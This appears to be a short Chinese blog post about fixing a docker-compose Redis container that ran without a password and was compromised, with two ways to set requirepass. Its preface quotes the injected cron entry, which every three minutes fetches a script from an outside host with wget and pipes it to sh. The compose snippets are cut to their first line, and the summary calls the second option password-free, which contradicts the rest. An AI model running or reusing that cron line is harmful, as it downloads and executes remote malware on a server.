前言
在服务器上使用 docker-compose 启动一个 Docker 中的 Redis 时,配置文件没有生效,Redis 没有加密码,导致 redis 中被写入两条记录:
1 | */3 * * * * wget -q -O- http://chrome.zer0day.ru:5050/mrx1 | sh |
还好及时发现,在此记录一下解决过程。
解决过程
方案一
在 docker-compose.yml
文件中写入下列内容:
1 | redis: |
其中:
- image 代表镜像名称;
- container_name 代表生成的容器名称;
- command 代表生成容器后要执行的命令;
- ports 将容器内的端口映射到容器外;
- volumes 代表共享目录或文件,冒号前为宿主机目录,冒号后为容器内目录。举例:
- ./data:/data
意为将当前目录共享到容器内的/data
目录,相当于做了一个软连接。
注:共享目录或文件时如果宿主机或容器内不存在 docker 会自动帮你创建。
Redis 的密码需要自己在与容器共享的配置 redis.conf
中加入,即更改配置中 requirepass
为:
1 | requirepass yourpassword |
在 docker-compose.yml
所在目录下执行 docker-compose up -d
,即可在 Docker 中生成一个带密码的 Redis 容器。
方案二
同样在 docker-compose.yml
中写入下列内容:
1 | redis: |
然后直接在其所在目录下执行 docker-compose up -d
,即可在 Docker 中生成一个带密码的 Redis 容器。
总结
方案一的好处是可以更多的定制 Redis 的配置,方案二的好处是可以快速启动一个带免密的 Docker Redis 实例而不需要依赖外部的 redis.conf。